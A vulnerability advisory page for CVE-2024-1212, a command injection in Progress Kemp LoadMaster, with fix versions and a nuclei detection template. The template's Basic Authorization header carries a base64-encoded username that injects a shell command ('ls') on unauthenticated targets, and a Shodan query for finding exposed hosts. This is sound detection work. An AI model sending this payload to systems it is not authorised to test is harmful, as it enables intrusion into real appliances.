Progress Kemp LoadMaster - Command Injection

Exploited in the wild. Listed by CISA on 2024-11-18; known to be used by ransomware.

criticalseverity

10CVSS score

95.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.

Impact

Unauthenticated attackers can execute arbitrary system commands through the LoadMaster management interface, leading to complete system compromise.

Fix

Upgrade to LoadMaster versions 7.2.59.2, 7.2.54.8, or 7.2.48.10 depending on your current version.

How to confirm it

Send: GET {{BaseURL}}/access/set?param=enableapi&value=1
Positive when: contains "bin" and "mnt" and "WWW-Authenticate: Basic" AND status 200

Run it with nuclei: nuclei -id CVE-2024-1212 -u <target>

The full check

id: CVE-2024-1212

info:
  name: Progress Kemp LoadMaster - Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands through the LoadMaster management interface, leading to complete system compromise.
  remediation: |
    Upgrade to LoadMaster versions 7.2.59.2, 7.2.54.8, or 7.2.48.10 depending on your current version.
  reference:
    - https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster
    - https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
    - https://support.kemptechnologies.com/hc/en-us/articles/24325072850573-Release-Notice-LMOS-7-2-59-2-7-2-54-8-7-2-48-10-CVE-2024-1212
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1212
    - https://freeloadbalancer.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-1212
    cwe-id: CWE-78
    epss-score: 0.95388
    epss-percentile: 0.99868
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"LoadMaster"
  tags: cve,cve2024,progress,rce,loadmaster,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/access/set?param=enableapi&value=1"
    headers:
      Authorization: "Basic JztsczsnOmRvZXNub3RtYXR0ZXI="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bin"
          - "mnt"
          - "WWW-Authenticate: Basic"
        condition: and

      - type: status
        status:
          - 200

References

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